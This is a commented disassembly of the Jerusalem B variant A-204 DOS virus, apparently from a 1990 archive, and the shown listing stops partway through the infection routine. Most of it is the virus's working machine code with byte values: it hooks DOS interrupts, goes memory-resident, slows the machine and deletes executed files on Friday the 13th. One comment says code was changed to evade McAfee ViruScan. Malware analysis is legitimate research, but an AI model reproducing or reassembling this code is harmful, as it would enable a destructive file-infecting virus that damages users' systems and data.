home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / JERUB204.ASM < prev    next >
Assembly Source File  |  1990-06-21  |  41KB  |  977 lines

  1.           Virus : Jerusalem Version B Variant A-204
  2. Disassembled by : Righard Zwienenberg
  3.                   Steenwijklaan 302
  4.                   2541 RT  The Hague
  5.                   The Netherlands
  6.                   Data  : +31-70-3898822, V22,V22b,HST,MNP,CM
  7.                   Voive : +31-70-3675379
  8. FidoNet address : 2:512/2.3
  9.   Used Software : ASMGEN, DEBUG and D86-Disassembler
  10.            Date : 20 june 1990
  11.  
  12. Note : All Values are hex. If a value is followd by d (e.g. 30d) it means
  13. 30 decimal.
  14.  
  15. Note : This disassembly consists of two programs. The original program was
  16. a dummy file (20h bytes long) containing 1Fh times 90 RET and 01h time 
  17. C3 RET. 
  18.  
  19. 0100 E9 92 00                JMP 0195        ; JUMP -> 0195h
  20.  
  21. 0103 db 2A,41,2D,32,30,34,2A             ; *A-204* never used
  22.  
  23. 010A dw 00 01 ; Startaddress original program
  24. 010C dw 01 56 ; Startaddress-offset original program
  25. 010E db 00    ; Trigger for destruction (delete file)
  26.               ; Always zero, but if it is Friday the 13th and the year is
  27.               ; not equal 1987 this byte is set to one
  28. 010F dw 00 00 ; Storing place for original AX (read-only word)
  29. 0111 dw 20 00 ; Length of Original Program (0020h)
  30. 0113 dw A5 FE ; Storing place for original BX of INT 08h vector
  31. 0115 dw 00 F0 ; Storing place for original ES of INT 08h vector
  32. 0117 dw 60 14 ; Storing place for original BX of INT 21h vector
  33. 0119 dw 2B 02 ; Storing place for original ES of INT 21h vector
  34. 011B dw 56 05 ; Storing place for original BX of INT 24h vector
  35. 011D dw DE 0C ; Storing place for original ES of INT 24h vector
  36. 011F dw 40 7E ; Storing place for timer for 30 minutes trigger
  37.               ; By init. set to 7E90h
  38.  
  39.               ; The following words are never used by the virus. The are used
  40.               ; by a routine starting at 0398h which is executed when INT 21h
  41.               ; is called with AH=DEh. This never happens in the code.
  42. 0121 dw 00 00 ;
  43. 0123 dw 00 00 ; 
  44. 0125 dw 00 00 ; 
  45. 0127 dw 00 00 ; 
  46. 0129 dw 00 00 ; 
  47. 012B dw 00 00 ; 
  48. 012D dw 00 E8 ; 
  49. 012F dw 06 EC ; 
  50.  
  51. 0131 dw 91 16 ; Storing place for original ES
  52. 0133 dw 80 00 ; Storing place for BX. Never read again
  53.  
  54. 0135 00 00 00 80 00
  55.  
  56. 0139 dw 91 16 ; Storing place for original ES
  57.  
  58. 013B 5C 00
  59.  
  60. 013D dw 91 16 ; Storing place for original ES
  61.  
  62. 013F 6C 00 ;
  63.  
  64. 0141 dw 91 16 ; Temp. storing place for original ES
  65. 0143 dw 00 20 ; Temp. storing place for AX
  66. 0145 dw 0D 1F ; Temp. storing place for ES+10h
  67. 0147 dw 5F 21 ; Storing place for AX
  68. 0149 dw A1 16 ; Temp. storing place for ES+10h
  69. 014B dw 00 F0 ; Temp. storing place for AX
  70. 014D db 02    ; Temp. storing place for AL
  71. 014E db 00    ; COM/EXE indicator
  72.               ; 0 = EXE-File
  73.               ; 1 = COM-File
  74. 0151 dw 30 01 ; Temp. storing place for DX 
  75. 0153 dw 23 00 ; Temp. storing place for AX
  76.  
  77. 0155 20 01 
  78.  
  79. 0157 dw 4A 00 ; Read Only!!! The code only read this word to substract it
  80.               ; from AX
  81.  
  82. 0159 D4 06 D4 06
  83.  
  84. 015D dw 98 03 ; Temp. Storing place to store AX
  85. 015F dw 10 07 ; Probably startaddress of virus in mem
  86. 0161 dw 84 19 ; Never used!!! 1984h is stored here by the code
  87. 0163 dw C5 00 ; 00C5h is being read and put back later by the code
  88. 0165 dw 99 03 ; Temp. storing place for AX
  89.  
  90. 0167 1C 00 00 00 90 90 90 90 C3
  91.  
  92. 0170 dw 05 00 ; Storing place for file handle (BX)
  93. 0172 dw 20 00 ; Storing place for file attributes
  94.               ; bit 0 = read only
  95.               ; bit 1 = hidden file
  96.               ; bit 2 = system file
  97.               ; bit 3 = volume label
  98.               ; bit 4 = subdirectory
  99.               ; bit 5 = archive bit
  100.               ; bit 8 = shareable (Novell Network)
  101. 0174 dw D5 14 ; Storing place for file date (DX)
  102. 0176 dw 99 83 ; Storing place for file time (CX)
  103. 0178 dw 00 02 ; 0200h=512d Used as multiplier/divider
  104. 017A dw 10 00 ; 0001h=  1d Used as multiplier/divider
  105. 017C dw 20 3E ; Temp. storing place for AX
  106. 017E dw 00 00 ; Temp. storing place for DX
  107. 0180 dw B9 42 ; Storing place for DX of ASCIZ-Filename
  108. 0182 dw 1A 9B ; Storing place for DS of ASCIZ-Filename
  109.  
  110. 0184 db 43,4F,4D,4D,41,4E,44,2E,43,4F,4D ; COMMAND.COM
  111.                                          ; May not become infected
  112.  
  113. 018F dw 01 00 ; Storing place for variable-result of free-memory-scan
  114.               ; 0000h : not enough memory available 
  115.               ; 0001h : enough memory available
  116.  
  117. 0191 00 00 00 00 
  118.  
  119. 0195 FC                      CLD        ; Clear Direct
  120. 0196 B4 E0                   MOV AH,0E0        ; This is the check if the
  121. 0198 CD 21                   INT 021        ; virus is already active    
  122.                         ; in memory. INT 21h with
  123.                         ; AH=E0h will return AX=0300h
  124.                         ; if the virus is active.
  125. 019A 80 FC E0             CMP AH,0E0        ; AH>=E0h?
  126. 019D 73 16             JAE 01B5        ; Yes: -> 01B5h  
  127. 019F 80 FC 03             CMP AH,3        ; AH<-03h?
  128. 01A2 72 11             JB 01B5        ; Yes: -> 01B5h
  129.                         ; INT 21h with AH=
  130.                         ; DDh,DEh,E0h
  131.                         ; are self-defined.
  132.  
  133.                         ; SetUp for 
  134.                         ; Executing original program 
  135.                         ; We come here if an infected
  136.                         ; program is executed and the
  137.                         ; virus is already active in
  138.                         ; memory.
  139. 01A4 B4 DD                   MOV AH,0DD         ;
  140. 01A6 BF 00 01                MOV DI,0100    ; Destination Index = 0100h
  141. 01A9 BE 10 07                MOV SI,0710        ; Source Index = 0710h
  142. 01AC 03 F7                   ADD SI,DI        ; Source Index:= 0810h
  143.                         ; At this place the original
  144.                         ; Program is located
  145. 01AE 2E 8B 8D 11 00          CS MOV CX,W[DI+011]; CX=20h (length original
  146.                         ; Program)
  147. 01B3 CD 21                   INT 021        ; 
  148.  
  149.                         ; Here we come when the virus
  150.                         ; is not yet in memory
  151. 01B5 8C C8                   MOV AX,CS        ; AX=Code Segment 
  152. 01B7 05 10 00                ADD AX,010        ; AX:=AX+10h
  153. 01BA 8E D0                   MOV SS,AX        ; Stack Segment:=AX
  154. 01BC BC 00 07                MOV SP,0700    ; StackPointer = 0700h
  155. 01BF 50                      PUSH AX        ; Store AX
  156. 01C0 B8 C5 00                MOV AX,0C5        ; AX = C5h
  157. 01C3 50                      PUSH AX        ; Store AX
  158. 01C4 CB                      RETF        ; -> C5h
  159.  
  160. 01C5 FC                      CLD        ; Clear Direct
  161. 01C6 06                      PUSH ES        ; Store ES
  162. 01C7 2E 8C 06 31 00          CS MOV W[031],ES    ; Store ES 
  163. 01CC 2E 8C 06 39 00          CS MOV W[039],ES    ; in storage places
  164. 01D1 2E 8C 06 3D 00          CS MOV W[03D],ES    ;
  165. 01D6 2E 8C 06 41 00          CS MOV W[041],ES    ;
  166. 01DB 8C C0                   MOV AX,ES        ; AX=ES
  167. 01DD 05 10 00                ADD AX,010        ; AX=AX+10h
  168. 01E0 2E 01 06 49 00          CS ADD W[049],AX    ; Add AX (ES+10h) to 0149h
  169. 01E5 2E 01 06 45 00          CS ADD W[045],AX    ; and 0145h
  170. 01EA B4 E0                   MOV AH,0E0        ; AH=E0h (Self defined)
  171. 01EC CD 21                   INT 021        ; CALL INT 21h
  172.  
  173. 01EE 80 FC E0                CMP AH,0E0        ; AH>=0Eh?
  174. 01F1 73 13                   JAE 0206        ; Yes: -> 0206
  175. 01F3 80 FC 03                CMP AH,3        ; AH=03h? Must be if the
  176.                         ; viruscode is in memory
  177.                         ; and interrupt 21h is called
  178.                         ; with AH=E0h.
  179.  
  180. 01F6 07                      POP ES        ; Restore original ES
  181. 01F7 2E 8E 16 45 00          CS MOV SS,W[045]   ; SS=ES+10h
  182. 01FC 2E 8B 26 43 00          CS MOV SP,W[043]   ;
  183. 0201 2E FF 2E 47 00          CS JMP D[047]      ;
  184.  
  185. 0206 33 C0                   XOR AX,AX        ; AX=0000h
  186. 0208 8E C0                   MOV ES,AX        ; ES=0000h
  187. 020A 26 A1 FC 03             ES MOV AX,W[03FC]
  188.  
  189.                         ; Here the A-204 variant 
  190.                         ; differs for the first
  191.                         ; time from the original
  192.                         ; Jerusalem Version B virus.
  193. 020E 26 A0 FE 03             ES MOV AL,B[03FE]    ; These two line have been
  194. 0212 2E A3 4B 00             CS MOV W[04B],AX    ; changed in order
  195.                         ; to avoid being
  196.                         ; detected by ViruScan from
  197.                         ; John McAfee.
  198.  
  199. 0216 2E A2 4D 00             CS MOV B[04D],AL
  200. 021A 26 C7 06 FC 03 F3 A5    ES MOV W[03FC],0A5F3
  201. 0221 26 C6 06 FE 03 CB       ES MOV B[03FE],0CB
  202. 0227 58                      POP AX
  203. 0228 05 10 00                ADD AX,010
  204. 022B 8E C0                   MOV ES,AX
  205. 022D 0E                      PUSH CS        ; Store CS
  206. 022E 1F                      POP DS        ; DS=CS
  207. 022F B9 10 07                MOV CX,0710    ; CX=0710h
  208. 0232 D1 E9                   SHR CX,1        ; CX >> 1 (CX:=0308h)
  209. 0234 33 F6                   XOR SI,SI        ; SI=0000h
  210. 0236 8B FE                   MOV DI,SI        ; DI=0000h
  211. 0238 06                      PUSH ES        ; Store ES
  212. 0239 B8 42 01                MOV AX,0142    ; AX=0142h
  213. 023C 50                      PUSH AX        ; Store AX
  214. 023D EA FC 03 00 00          JMP 0:03FC
  215.  
  216. 0242 8C C8                   MOV AX,CS        ; AX=CS
  217. 0244 8E D0                   MOV SS,AX        ; SS=CS
  218. 0246 BC 00 07                MOV SP,0700    ; SP=0700h
  219. 0249 33 C0                   XOR AX,AX        ; AX=0000h
  220. 024B 8E D8                   MOV DS,AX        ; DS=0000h
  221. 024D 2E A1 4B 00             CS MOV AX,W[04B]    ; Restore AX
  222. 0251 A3 FC 03                MOV W[03FC],AX    ; Store AX
  223. 0254 2E A0 4D 00             CS MOV AL,B[04D]    ; Restore AL
  224. 0258 A2 FE 03                MOV B[03FE],AL    ; Store AL
  225. 025B 8B DC                   MOV BX,SP        ; BX=SP
  226. 025D B1 04                   MOV CL,4        ; CL=04h
  227. 025F D3 EB                   SHR BX,CL        ; BX >> 4
  228. 0261 83 C3 10                ADD BX,010        ; BX=BX+10h
  229. 0264 2E 89 1E 33 00          CS MOV W[033],BX    ; Store BX. Why I don't know,
  230.                         ; the storing place is never
  231.                         ; read again
  232. 0269 B4 4A                   MOV AH,04A        ; 
  233. 026B 2E 8E 06 31 00          CS MOV ES,W[031]    ; Restore ES
  234. 0270 CD 21                   INT 021        ; Adjust Memory Block Size
  235.                         ; (SETBLOCK)
  236.  
  237. 0272 B8 21 35                MOV AX,03521    ; Get original INT 21h
  238. 0275 CD 21                   INT 021        ; vector
  239.  
  240. 0277 2E 89 1E 17 00          CS MOV W[017],BX    ; Store BX and ES of INT 21h
  241. 027C 2E 8C 06 19 00          CS MOV W[019],ES    ; vector
  242. 0281 0E                      PUSH CS        ; Store CS
  243. 0282 1F                      POP DS        ; DS=CS
  244. 0283 BA 5B 02                MOV DX,025B    ; DX=025Bh
  245. 0286 B8 21 25                MOV AX,02521       ; Set new INT 21h
  246. 0289 CD 21                   INT 021        ; vector on DS:025Bh
  247.  
  248. 028B 8E 06 31 00             MOV ES,W[031]    ; Restore original ES
  249. 028F 26 8E 06 2C 00          ES MOV ES,W[02C]    ;
  250. 0294 33 FF                   XOR DI,DI        ; DI=0000h
  251. 0296 B9 FF 7F                MOV CX,07FFF    ; CX=7FFFh
  252. 0299 32 C0                   XOR AL,AL        ; AL=0000h
  253. 029B F2 AE                   REPNE SCASB    ; 
  254. 029D 26 38 05                ES CMP B[DI],AL    ;
  255. 02A0 E0 F9                   LOOPNE 029B    ; No Flags: DEC CX -> 02A2h
  256.                         ; IF CX<>0 and not equal
  257.                         ; -> 029B
  258. 02A2 8B D7                   MOV DX,DI        ; DX=DI
  259. 02A4 83 C2 03                ADD DX,3        ; DX=DX+03h
  260. 02A7 B8 00 4B                MOV AX,04B00    ; AX=4B00h
  261. 02AA 06                      PUSH ES        ; Store ES
  262. 02AB 1F                      POP DS        ; Restore DS (DS:=ES)
  263. 02AC 0E                      PUSH CS        ; Store CS
  264. 02AD 07                      POP ES        ; Restore ES (ES:=CS)
  265. 02AE BB 35 00                MOV BX,035        ; BX=35h
  266. 02B1 1E                      PUSH DS        ; Store Registers
  267. 02B2 06                      PUSH ES
  268. 02B3 50                      PUSH AX
  269. 02B4 53                      PUSH BX
  270. 02B5 51                      PUSH CX
  271. 02B6 52                      PUSH DX
  272.  
  273. 02B7 B4 2A                   MOV AH,02A     ; Get Current Date
  274. 02B9 CD 21                   INT 021        ; DL=day
  275.                         ; DH=month
  276.                         ; CX=year
  277.                         ; AL=Day of the week
  278.  
  279. 02BB 2E C6 06 0E 00 00       CS MOV B[0E],0    ; Set Trigger for deleting
  280.                         ; infected files to 00h
  281. 02C1 81 F9 C3 07             CMP CX,07C3    ; Is year 1987 ?
  282. 02C5 74 30                   JE 02F7        ; Yes: -> 02F7h
  283. 02C7 3C 05                   CMP AL,5        ; Is it Friday ?
  284. 02C9 75 0D                   JNE 02D8        ; No: -> 02D8h
  285. 02CB 80 FA 0D                CMP DL,0D        ; Is it 13th ?
  286. 02CE 75 08                   JNE 02D8        ; No: -> 02D8h
  287.                         ; Yes: it is Friday
  288.                         ; the 13th and the
  289.                         ; year is not equal 1987
  290. 02D0 2E FE 06 0E 00          CS INC B[0E]    ; Set Trigger for deleting
  291.                         ; infected files to 01h
  292. 02D5 EB 20                   JMP 02F7        ; JUMP -> 02F7h
  293.  
  294. 02D7 90                      NOP
  295.  
  296. 02D8 B8 08 35                MOV AX,03508    ; Get original INT 8h
  297. 02DB CD 21                   INT 021        ; vector
  298.  
  299. 02DD 2E 89 1E 13 00          CS MOV W[013],BX    ; Store original BX
  300. 02E2 2E 8C 06 15 00          CS MOV W[015],ES    ; and ES of INT 08h vector
  301. 02E7 0E                      PUSH CS
  302. 02E8 1F                      POP DS
  303. 02E9 C7 06 1F 00 90 7E       MOV W[01F],07E90    ; Store 30d minutes into
  304.                         ; timer interrupt. This
  305.                         ; value is decreased by
  306.                         ; one 18.2 times per second
  307. 02EF B8 08 25                MOV AX,02508    ; Set new INT 8h vector
  308. 02F2 BA 1E 02                MOV DX,021E    ; to DS:021Eh
  309. 02F5 CD 21                   INT 021        ; 
  310.  
  311. 02F7 5A                      POP DX        ; Restore Registers
  312. 02F8 59                      POP CX
  313. 02F9 5B                      POP BX
  314. 02FA 58                      POP AX
  315. 02FB 07                      POP ES
  316. 02FC 1F                      POP DS
  317. 02FD 9C                      PUSHF        ; Store Flags
  318. 02FE 2E FF 1E 17 00          CS CALL D[017]    ; Call original INT 21h
  319.                         ; address
  320.  
  321. 0303 1E                      PUSH DS        ; Restore DS
  322. 0304 07                      POP ES        ; Store ES
  323. 0305 B4 49                   MOV AH,049        ; Free Memory
  324. 0307 CD 21                   INT 021        ;
  325.  
  326. 0309 B4 4D                   MOV AH,04D        ; Get ExitCode of
  327. 030B CD 21                   INT 021        ; SubProgram (WAIT) 
  328.                         ; Stored in AL
  329.  
  330. 030D B4 31                   MOV AH,031        ; AX=31[AL]h
  331. 030F BA 00 06                MOV DX,0600    ; DX=600h
  332. 0312 B1 04                   MOV CL,4        ; CL=04h
  333. 0314 D3 EA                   SHR DX,CL        ; DX >> 4 (DX=60H)
  334. 0316 83 C2 10                ADD DX,010        ; DX=DX+10h (DX=70h)
  335.                         ; Program Size in Paragraphs
  336.                         ; is 70h Bytes
  337. 0319 CD 21                   INT 021        ; Terminate but Stay Resident
  338.  
  339. 031B 32 C0                   XOR AL,AL        ; Clear AL
  340. 031D CF                      IRET        ; Interrupt Return
  341.  
  342.                         ; 031Eh is the new INT 08h
  343.                         ; vector. This routine is
  344.                         ; called 18.2 times per
  345.                         ; second
  346. 031E 2E 83 3E 1F 00 02       CS CMP W[01F],2    ; Timer decreased til 02h?
  347. 0324 75 17                   JNE 033D        ; No: -> 033D
  348.     
  349.                         ; Yes: now 32 minutes are
  350.                         ; passed since infection
  351. 0326 50                      PUSH AX        ; Store Registers
  352. 0327 53                      PUSH BX
  353. 0328 51                      PUSH CX
  354. 0329 52                      PUSH DX
  355. 032A 55                      PUSH BP
  356.  
  357. 032B B8 02 06                MOV AX,0602    ; Scroll box with coordinates
  358. 032E B7 87                   MOV BH,087        ; (5h,5h),(10h,10h) two
  359. 0330 B9 05 05                MOV CX,0505    ; lines upwards
  360. 0333 BA 10 10                MOV DX,01010    ; 
  361. 0336 CD 10                   INT 010        ; 
  362.  
  363. 0338 5D                      POP BP        ; Restore Registers
  364. 0339 5A                      POP DX
  365. 033A 59                      POP CX
  366. 033B 5B                      POP BX
  367. 033C 58                      POP AX
  368. 033D 2E FF 0E 1F 00          CS DEC W[01F]    ; Decrease Timer-Trigger
  369.                         ; This now becomes 01h
  370. 0342 75 12                   JNE 0356        ; If 0: -> 0356h
  371. 0344 2E C7 06 1F 00 01 00    CS MOV W[01F],1    ; Timer-Trigger set to 01h
  372. 034B 50                      PUSH AX        ; Store AX
  373. 034C 51                      PUSH CX        ; Store CX
  374. 034D 56                      PUSH SI        ; Store SI
  375. 034E B9 01 40                MOV CX,04001    ; CX=4001h
  376. 0351 F3 AC                   REP LODSB        ; Load byte [SI] into AL and
  377.                         ; advance SI, done CX times.
  378.                         ; This is the routine which 
  379.                         ; decreases the speed of the
  380.                         ; machine til 1/5th of the
  381.                         ; original. 32 minutes after
  382.                         ; infection this routine is
  383.                         ; executes 18.2 times a second
  384. 0353 5E                      POP SI        ; Restore SI
  385. 0354 59                      POP CX        ; Restore CX
  386. 0355 58                      POP AX        ; Restore AX
  387. 0356 2E FF 2E 13 00          CS JMP D[013]    ; Jump to original INT 08h
  388.                         ; address
  389.  
  390.                         ; Here we come if INT 21h is 
  391.                         ; called
  392. 035B 9C                      PUSHF        ; Store Flags
  393. 035C 80 FC E0                CMP AH,0E0        ; AH=0Eh ?
  394. 035F 75 05                   JNE 0366        ; No: -> 0366h
  395. 0361 B8 00 03                MOV AX,0300    ; AX=0300h
  396. 0364 9D                      POPF        ; Restore Flags
  397. 0365 CF                      IRET        ; Interrupt Return
  398.  
  399. 0366 80 FC DD                CMP AH,0DD        ; AH=DDh?
  400. 0369 74 13                   JE 037E        ; Yes: -> 037Eh
  401. 036B 80 FC DE                CMP AH,0DE        ; AH=DEh?
  402. 036E 74 28                   JE 0398        ; Yes: -> 0398h
  403.                         ; INT 21h is never called
  404.                         ; with AH=DEh. So the routine
  405.                         ; at 0398h is never used
  406.                         ; (seems)
  407.  
  408. 0370 3D 00 4B                CMP AX,04B00    ; Load & Execute ? 
  409. 0373 75 03                   JNE 0378        ; No: -> 0378h
  410. 0375 E9 B4 00                JMP 042C        ; Yes: -> 042Ch
  411. 0378 9D                      POPF        ; Restore Flags
  412. 0379 2E FF 2E 17 00          CS JMP D[017]    ; Jmp to original
  413.                         ; INT 21h address
  414.  
  415.                         ; Execute original program
  416. 037E 58                      POP AX
  417. 037F 58                      POP AX        ; Restore AX
  418. 0380 B8 00 01                MOV AX,0100    ; AX=0100h
  419. 0383 2E A3 0A 00             CS MOV W[0A],AX    ; Store AX
  420. 0387 58                      POP AX        ; Restore AX
  421. 0388 2E A3 0C 00             CS MOV W[0C],AX    ; Store AX
  422. 038C F3 A4                   REP MOVSB        ;
  423. 038E 9D                      POPF        ; Restore Flags
  424. 038F 2E A1 0F 00             CS MOV AX,W[0F]    ; AX=0000h
  425. 0393 2E FF 2E 0A 00          CS JMP D[0A]    ; JUMP -> CS:0100h
  426.                         ; This executes the original
  427.                         ; program
  428.  
  429.  
  430.                         ; This routine is called
  431.                         ; when INT 21h with AH=DEh
  432.                         ; is called which never
  433.                         ; happens in the code. I
  434.                         ; have to investigate it 
  435.                         ; a bit more. Til then
  436.                         ; it remains without comments.
  437. 0398 83 C4 06                ADD SP,6
  438. 039B 9D                      POPF
  439. 039C 8C C8                   MOV AX,CS
  440. 039E 8E D0                   MOV SS,AX
  441. 03A0 BC 10 07                MOV SP,0710
  442. 03A3 06                      PUSH ES
  443. 03A4 06                      PUSH ES
  444. 03A5 33 FF                   XOR DI,DI    
  445. 03A7 0E                      PUSH CS
  446. 03A8 07                      POP ES
  447. 03A9 B9 10 00                MOV CX,010
  448. 03AC 8B F3                   MOV SI,BX
  449. 03AE BF 21 00                MOV DI,021
  450. 03B1 F3 A4                   REP MOVSB
  451. 03B3 8C D8                   MOV AX,DS
  452. 03B5 8E C0                   MOV ES,AX
  453. 03B7 2E F7 26 7A 00          CS MUL W[07A]
  454. 03BC 2E 03 06 2B 00          CS ADD AX,W[02B]
  455. 03C1 83 D2 00                ADC DX,0
  456. 03C4 2E F7 36 7A 00          CS DIV W[07A]
  457. 03C9 8E D8                   MOV DS,AX
  458. 03CB 8B F2                   MOV SI,DX
  459. 03CD 8B FA                   MOV DI,DX
  460. 03CF 8C C5                   MOV BP,ES
  461. 03D1 2E 8B 1E 2F 00          CS MOV BX,W[02F]
  462. 03D6 0B DB                   OR BX,BX
  463. 03D8 74 13                   JE 03ED
  464. 03DA B9 00 80                MOV CX,08000
  465. 03DD F3 A5                   REP MOVSW
  466. 03DF 05 00 10                ADD AX,01000
  467. 03E2 81 C5 00 10             ADD BP,01000
  468. 03E6 8E D8                   MOV DS,AX
  469. 03E8 8E C5                   MOV ES,BP
  470. 03EA 4B                      DEC BX
  471. 03EB 75 ED                   JNE 03DA
  472. 03ED 2E 8B 0E 2D 00          CS MOV CX,W[02D]
  473. 03F2 F3 A4                   REP MOVSB
  474. 03F4 58                      POP AX    
  475. 03F5 50                      PUSH AX    
  476. 03F6 05 10 00                ADD AX,010
  477. 03F9 2E 01 06 29 00          CS ADD W[029],AX
  478. 03FE 2E 01 06 25 00          CS ADD W[025],AX
  479. 0403 2E A1 21 00             CS MOV AX,W[021]
  480. 0407 1F                      POP DS    
  481. 0408 07                      POP ES    
  482. 0409 2E 8E 16 29 00          CS MOV SS,W[029]
  483. 040E 2E 8B 26 27 00          CS MOV SP,W[027]
  484. 0413 2E FF 2E 23 00          CS JMP D[023]
  485.  
  486.                              ; We come here if B[0Eh]=1,
  487.                         ; which means Friday 13th,
  488.                         ; year<>1987. This routine                        
  489.                         ; deletes the loaded file.
  490. 0418 33 C9                   XOR CX,CX        ; Clear all bits of the File
  491.                         ; Attribute
  492. 041A B8 01 43                MOV AX,04301    ; 
  493. 041D CD 21                   INT 021        ; Put File Atributes
  494.  
  495. 041F B4 41                   MOV AH,041        ;
  496. 0421 CD 21                   INT 021        ; Delete a File (Unlink)
  497.  
  498. 0423 B8 00 4B                MOV AX,04B00
  499.  
  500. 0426 9D                      POPF        ; Get Flags
  501. 0427 2E FF 2E 17 00          CS JMP D[017]
  502.  
  503.                         ; We come here each time a
  504.                         ; file is loaded with the
  505.                         ; load and execute call
  506.                         ; (INT 21h, AX=4B00h)
  507. 042C 2E 80 3E 0E 00 01       CS CMP B[0E],1     ; Is it Friday 13th,
  508.                         ; year<>1987?
  509. 0432 74 E4                   JE 0418        ; Yes: -> 0418h
  510. 0434 2E C7 06 70 00 FF FF    CS MOV W[070],-1    ; File Handle -1 ???
  511. 043B 2E C7 06 8F 00 00 00    CS MOV W[08F],0    ; Clear Memory-Available
  512.                         ; variable
  513. 0442 2E 89 16 80 00          CS MOV W[080],DX    ; DS:DX -> ASCIZ Filename,
  514. 0447 2E 8C 1E 82 00          CS MOV W[082],DS    ; Store DX and DS
  515. 044C 50                      PUSH AX
  516. 044D 53                      PUSH BX
  517. 044E 51                      PUSH CX
  518. 044F 52                      PUSH DX
  519. 0450 56                      PUSH SI
  520. 0451 57                      PUSH DI
  521. 0452 1E                      PUSH DS
  522. 0453 06                      PUSH ES
  523. 0454 FC                      CLD
  524. 0455 8B FA                   MOV DI,DX        ; 
  525. 0457 32 D2                   XOR DL,DL        ; DL=00h : Take Default Drive
  526. 0459 80 7D 01 3A             CMP B[DI+1],03A    ; ':' at 2nd place in ASCIZ-
  527.                         ; filename
  528. 045D 75 05                   JNE 0464        ; No: -> 0464h
  529. 045F 8A 15                   MOV DL,B[DI]    ; Get Drive Letter
  530. 0461 80 E2 1F                AND DL,01F        ; Get Drive Code
  531.                         ; 0 = Default
  532.                         ; 1 = A
  533.                         ; 2 = B, etc.
  534. 0464 B4 36                   MOV AH,036        ;
  535. 0466 CD 21                   INT 021        ; Get disk space
  536.                         ; BX=# of available clusters
  537.                         ; CX=Bytes per sector
  538.                         ; DX=Total clusters
  539.  
  540. 0468 3D FF FF                CMP AX,-1        ; No Sectors Free?
  541. 046B 75 03                   JNE 0470        ; No: -> 0470h
  542. 046D E9 77 02                JMP 06E7        ; Yes: -> 06E7h
  543.  
  544.  
  545. 0470 F7 E3                   MUL BX        ; Calculate Free Space
  546. 0472 F7 E1                   MUL CX        ;
  547. 0474 0B D2                   OR DX,DX        ;
  548. 0476 75 05                   JNE 047D        ; 
  549. 0478 3D 10 07                CMP AX,0710    ; 1808 Bytes Free?
  550. 047B 72 F0                   JB 046D        ; No: -> 046Dh
  551. 047D 2E 8B 16 80 00          CS MOV DX,W[080]    ; Restore DX's ASCIZ Filename
  552. 0482 1E                      PUSH DS
  553. 0483 07                      POP ES
  554. 0484 32 C0                   XOR AL,AL        ; AL=00h
  555. 0486 B9 41 00                MOV CX,041        ;
  556. 0489 F2 AE                   REPNE SCASB    ; Check if filename
  557. 048B 2E 8B 36 80 00          CS MOV SI,W[080]    ; is in UPPERCASE
  558. 0490 8A 04                   MOV AL,B[SI]    ;
  559. 0492 0A C0                   OR AL,AL        ; All UPPERRCASE?
  560. 0494 74 0E                   JE 04A4        ; IF so: -> 04A4h
  561. 0496 3C 61                   CMP AL,061        ; AL<'a' ?
  562. 0498 72 07                   JB 04A1        ; Yes: -> 04A1h
  563. 049A 3C 7A                   CMP AL,07A        ; AL>'z' ?
  564. 049C 77 03                   JA 04A1        ; Yes: -> 04A1h
  565. 049E 80 2C 20                SUB B[SI],020    ; Transfer filename
  566.                         ; into UPPERCASE
  567. 04A1 46                      INC SI        ; SI=SI+1
  568. 04A2 EB EC                   JMP 0490
  569.  
  570. 04A4 B9 0B 00                MOV CX,0B        ; CX=0Bh
  571. 04A7 2B F1                   SUB SI,CX        ; Return SI to start
  572.                         ; of Filename
  573. 04A9 BF 84 00                MOV DI,084        ; Start of COMMAND.COM 
  574.                         ; filename
  575. 04AC 0E                      PUSH CS
  576. 04AD 07                      POP ES
  577. 04AE B9 0B 00                MOV CX,0B
  578. 04B1 F3 A6                   REPE CMPSB        ; Filename=COMMAND.COM ?
  579. 04B3 75 03                   JNE 04B8        ; No: -> 04B8h
  580. 04B5 E9 2F 02                JMP 06E7        ; Yes: -> 06E7h
  581.  
  582.                         ; We come here if the 
  583.                         ; loaded program is not
  584.                         ; COMMAND.COM
  585. 04B8 B8 00 43                MOV AX,04300     ; 
  586. 04BB CD 21                   INT 021        ; Get File Attributes
  587.  
  588. 04BD 72 05                   JB 04C4        ; If Error: -> 04C4h
  589. 04BF 2E 89 0E 72 00          CS MOV W[072],CX    ; Store File Attributes
  590. 04C4 72 25                   JB 04EB        ; If Error: -> 04EBh
  591. 04C6 32 C0                   XOR AL,AL        ; AL=00h
  592. 04C8 2E A2 4E 00             CS MOV B[04E],AL    ; Dummy=0
  593. 04CC 1E                      PUSH DS        ;
  594. 04CD 07                      POP ES        ;
  595. 04CE 8B FA                   MOV DI,DX        ; 
  596. 04D0 B9 41 00                MOV CX,041        ;
  597. 04D3 F2 AE                   REPNE SCASB    ;
  598. 04D5 80 7D FE 4D             CMP B[DI-2],04D    ; "M" ?
  599. 04D9 74 0B                   JE 04E6        ; Yes: -> 04E6h
  600. 04DB 80 7D FE 6D             CMP B[DI-2],06D    ; "m" ?
  601. 04DF 74 05                   JE 04E6        ; Yes: -> 04E6h
  602. 04E1 2E FE 06 4E 00          CS INC B[04E]    ; Dummy=Dummy+1
  603. 04E6 B8 00 3D                MOV AX,03D00    ; Open Disk File with
  604. 04E9 CD 21                   INT 021        ; handle in compatibility
  605.                         ; mode
  606.                         ; DS:DX : -> ASCIZ Filename
  607.  
  608. 04EB 72 5A                   JB 0547        ; IF Error: -> 0547h
  609. 04ED 2E A3 70 00             CS MOV W[070],AX    ; Store File Handle
  610. 04F1 8B D8                   MOV BX,AX        ; BX=File Handle
  611. 04F3 B8 02 42                MOV AX,04202    ; Move File Read/Write
  612.                         ; Pointer (LSEEK) with
  613.                         ; offset from end of file
  614. 04F6 B9 FF FF                MOV CX,-1        ; CX:DX = offset in bytes
  615. 04F9 BA FB FF                MOV DX,-5        ; 
  616. 04FC CD 21                   INT 021        ;
  617.                         ; DX:AX = new absolute
  618.                         ; offset from beginning of
  619.                         ; file
  620.  
  621. 04FE 72 EB                   JB 04EB        ; If Error: -> 04EBh
  622. 0500 05 05 00                ADD AX,5        ; ????
  623. 0503 2E A3 11 00             CS MOV W[011],AX    ; Store Length of File
  624.  
  625. 0507 B9 05 00                MOV CX,5        ; Read from a file with
  626. 050A BA 6B 00                MOV DX,06B        ; handle BX 5h bytes into
  627. 050D 8C C8                   MOV AX,CS        ; DS:DX buffer
  628. 050F 8E D8                   MOV DS,AX        ;
  629. 0511 8E C0                   MOV ES,AX        ;
  630. 0513 B4 3F                   MOV AH,03F        ;
